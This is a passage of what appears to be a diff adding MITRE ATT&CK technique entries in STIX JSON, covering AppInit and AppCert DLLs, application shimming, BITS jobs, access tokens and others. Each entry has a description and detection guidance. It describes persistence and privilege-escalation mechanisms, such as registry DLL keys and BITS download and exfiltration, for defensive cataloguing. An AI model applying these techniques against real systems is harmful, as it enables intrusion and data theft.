"x_mitre_data_sources": [ + "Loaded DLLs", + "Process monitoring", + "Windows Registry" + ], + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "name": "AppCert DLLs", + "description": "Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Endgame Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.", + "id": "attack-pattern--4bf5845d-a814-4490-bc5c-ccdee6043025", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017) \n\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "x_mitre_effective_permissions": [ + "Administrator", + "SYSTEM" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "external_references": [ + { + "external_id": "T1182", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1182" + }, + { + "source_name": "Endgame Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + }, + { + "source_name": "Sysinternals AppCertDlls Oct 2007", + "description": "Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved December 18, 2017.", + "url": "https://forum.sysinternals.com/appcertdlls_topic12546.html" + } + ], + "modified": "2019-07-16T19:05:53.847Z" + }, + { + "x_mitre_data_sources": [ + "Loaded DLLs", + "Process monitoring", + "Windows Registry" + ], + "x_mitre_permissions_required": [ + "Administrator" + ], + "name": "AppInit DLLs", + "description": "Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Endgame Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)\n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)", + "id": "attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_system_requirements": [ + "Secure boot disabled on systems running Windows 8 and later" + ], + "type": "attack-pattern", + "x_mitre_detection": "Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017) Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:15.409Z", + "x_mitre_effective_permissions": [ + "Administrator", + "SYSTEM" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "external_references": [ + { + "external_id": "T1103", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1103" + }, + { + "source_name": "Endgame Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + }, + { + "source_name": "AppInit Registry", + "description": "Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015.", + "url": "https://support.microsoft.com/en-us/kb/197571" + }, + { + "source_name": "AppInit Secure Boot", + "description": "Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015.", + "url": "https://msdn.microsoft.com/en-us/library/dn280412" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ], + "modified": "2019-07-16T19:09:25.240Z" + }, + { + "x_mitre_data_sources": [ + "API monitoring", + "System calls", + "Process monitoring", + "Process command-line parameters" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "AppleScript", + "description": "macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the osalang program.\nAppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. \n\nAdversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python (Citation: Macro Malware Targets Macs). Scripts can be run from the command-line via osascript /path/to/script or osascript -e \"script here\".", + "x_mitre_remote_support": true, + "id": "attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b", + "x_mitre_platforms": [ + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor for execution of AppleScript through osascript that may be related to other suspicious behavior occurring on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "external_references": [ + { + "external_id": "T1155", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1155" + }, + { + "source_name": "Macro Malware Targets Macs", + "description": "Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-targets-macs/" + } + ], + "modified": "2019-07-16T19:11:33.411Z" + }, + { + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "OAuth audit logs", + "Office 365 account logs" + ], + "name": "Application Access Token", + "description": "Adversaries may use application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.\n", + "id": "attack-pattern--27960489-4e7f-461d-a62a-f5c0cb521e4a", + "modified": "2019-10-22T19:53:15.909Z", + "x_mitre_platforms": [ + "SaaS", + "Office 365" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications. Administrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Mark Wee", + "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)", + "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)", + "Shailesh Tiwary (Indian Army)" + ], + "created": "2019-08-30T12:55:58.607Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1527", + "url": "https://attack.mitre.org/techniques/T1527" + }, + { + "description": "Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.", + "source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019", + "url": "https://auth0.com/docs/api-auth/why-use-access-tokens-to-secure-apis" + }, + { + "description": "okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019.", + "source_name": "okta", + "url": "https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen" + }, + { + "description": "Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27). Microsoft identity platform access tokens. Retrieved October 4, 2019.", + "source_name": "Microsoft Identity Platform Access 2019", + "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens" + }, + { + "description": "Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019.", + "source_name": "Staaldraad Phishing with OAuth 2017", + "url": "https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/" + } + ], + "x_mitre_defense_bypassed": [ + "Multi-Factor Authentication", + "Logon Credentials" + ] + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Process use of network", + "Process monitoring" + ], + "type": "attack-pattern", + "name": "Application Deployment Software", + "description": "Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nAccess to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.", + "id": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_system_requirements": [ + "Access to application deployment software (EPO, HPCA, Altiris, etc.)" + ], + "x_mitre_detection": "Monitor application deployments from a secondary system. Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:30:27.755Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "external_references": [ + { + "external_id": "T1017", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1017" + }, + { + "source_name": "capec", + "external_id": "CAPEC-187", + "url": "https://capec.mitre.org/data/definitions/187.html" + } + ], + "modified": "2019-07-16T19:17:34.798Z" + }, + { + "x_mitre_data_sources": [ + "Loaded DLLs", + "System calls", + "Windows Registry", + "Process monitoring", + "Process command-line parameters" + ], + "x_mitre_permissions_required": [ + "Administrator" + ], + "name": "Application Shimming", + "description": "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Endgame Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.", + "id": "attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any Shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "external_references": [ + { + "external_id": "T1138", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1138" + }, + { + "source_name": "Endgame Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + }, + { + "source_name": "Black Hat 2015 App Shim", + "description": "Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.", + "url": "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf" + } + ], + "modified": "2019-07-16T19:24:57.985Z" + }, + { + "x_mitre_data_sources": [ + "API monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Application Window Discovery", + "description": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.\n\nIn Mac, this can be done natively with a small [AppleScript](https://attack.mitre.org/techniques/T1155) script.", + "id": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", + "x_mitre_platforms": [ + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:30:24.512Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "external_references": [ + { + "external_id": "T1010", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1010" + } + ], + "modified": "2018-10-17T00:14:20.652Z" + }, + { + "x_mitre_data_sources": [ + "API monitoring", + "Process monitoring", + "File monitoring" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Audio Capture", + "description": "An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.", + "id": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:34.528Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "external_references": [ + { + "external_id": "T1123", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1123" + }, + { + "source_name": "capec", + "external_id": "CAPEC-634", + "url": "https://capec.mitre.org/data/definitions/634.html" + } + ], + "modified": "2019-06-18T13:16:53.385Z" + }, + { + "x_mitre_data_sources": [ + "DLL monitoring", + "Windows Registry", + "Loaded DLLs" + ], + "x_mitre_permissions_required": [ + "Administrator" + ], + "name": "Authentication Package", + "description": "Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of \"Authentication Packages\"=. The binary will then be executed by the system when the authentication packages are loaded.", + "id": "attack-pattern--52d40641-c480-4ad5-81a3-c80ccaddf82d", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:43.135Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "external_id": "T1131", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1131" + }, + { + "source_name": "MSDN Authentication Packages", + "description": "Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx" + }, + { + "source_name": "Graeber 2014", + "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.", + "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html" + }, + { + "source_name": "Microsoft Configure LSA", + "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.", + "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx" + } + ], + "modified": "2019-06-13T16:38:05.711Z" + }, + { + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Data loss prevention", + "Process command-line parameters" + ], + "name": "Automated Collection", + "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of [Scripting](https://attack.mitre.org/techniques/T1064) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Remote File Copy](https://attack.mitre.org/techniques/T1105) to identify and move files.", + "id": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_system_requirements": [ + "Permissions to access directories and files that store information of interest." + ], + "type": "attack-pattern", + "x_mitre_detection": "Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074). As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:27.985Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "external_references": [ + { + "external_id": "T1119", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1119" + } + ], + "modified": "2019-07-16T19:44:07.942Z" + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process use of network" + ], + "name": "Automated Exfiltration", + "description": "Data, such as sensitive documents, may be exfiltrated through the use of automated processing or [Scripting](https://attack.mitre.org/techniques/T1064) after being gathered during Collection. \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over Command and Control Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).", + "id": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_network_requirements": true, + "created": "2017-05-31T21:30:29.458Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "external_references": [ + { + "external_id": "T1020", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1020" + } + ], + "modified": "2018-10-17T00:14:20.652Z" + }, + { + "x_mitre_data_sources": [ + "API monitoring", + "Packet capture", + "Windows event logs" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "name": "BITS Jobs", + "description": "Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM). (Citation: Microsoft COM) (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1086) (Citation: Microsoft BITS) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool. (Citation: Microsoft BITSAdmin)\n\nAdversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also allow Persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016)\n\nBITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). (Citation: CTU BITS Malware June 2016)", + "id": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", + "modified": "2019-07-16T20:02:53.027Z", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "BITS runs as a service and its status can be checked with the Sc query utility (sc query bits). (Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose). (Citation: Microsoft BITS)\n\nMonitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the \u2018Transfer\u2019, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options) (Citation: Microsoft BITS)Admin and the Windows Event log for BITS activity. Also consider investigating more detailed information about jobs by parsing the BITS job database. (Citation: CTU BITS Malware June 2016)\n\nMonitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account). (Citation: Microsoft BITS)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Ricardo Dias", + "Red Canary" + ], + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "external_id": "T1197", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1197" + }, + { + "source_name": "Microsoft COM", + "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx" + }, + { + "source_name": "Microsoft BITS", + "description": "Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.", + "url": "https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx" + }, + { + "source_name": "Microsoft BITSAdmin", + "description": "Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.", + "url": "https://msdn.microsoft.com/library/aa362813.aspx" + }, + { + "source_name": "CTU BITS Malware June 2016", + "description": "Counter Threat Unit Research Team. (2016, June 6). Malware Lingers with BITS. Retrieved January 12, 2018.", + "url": 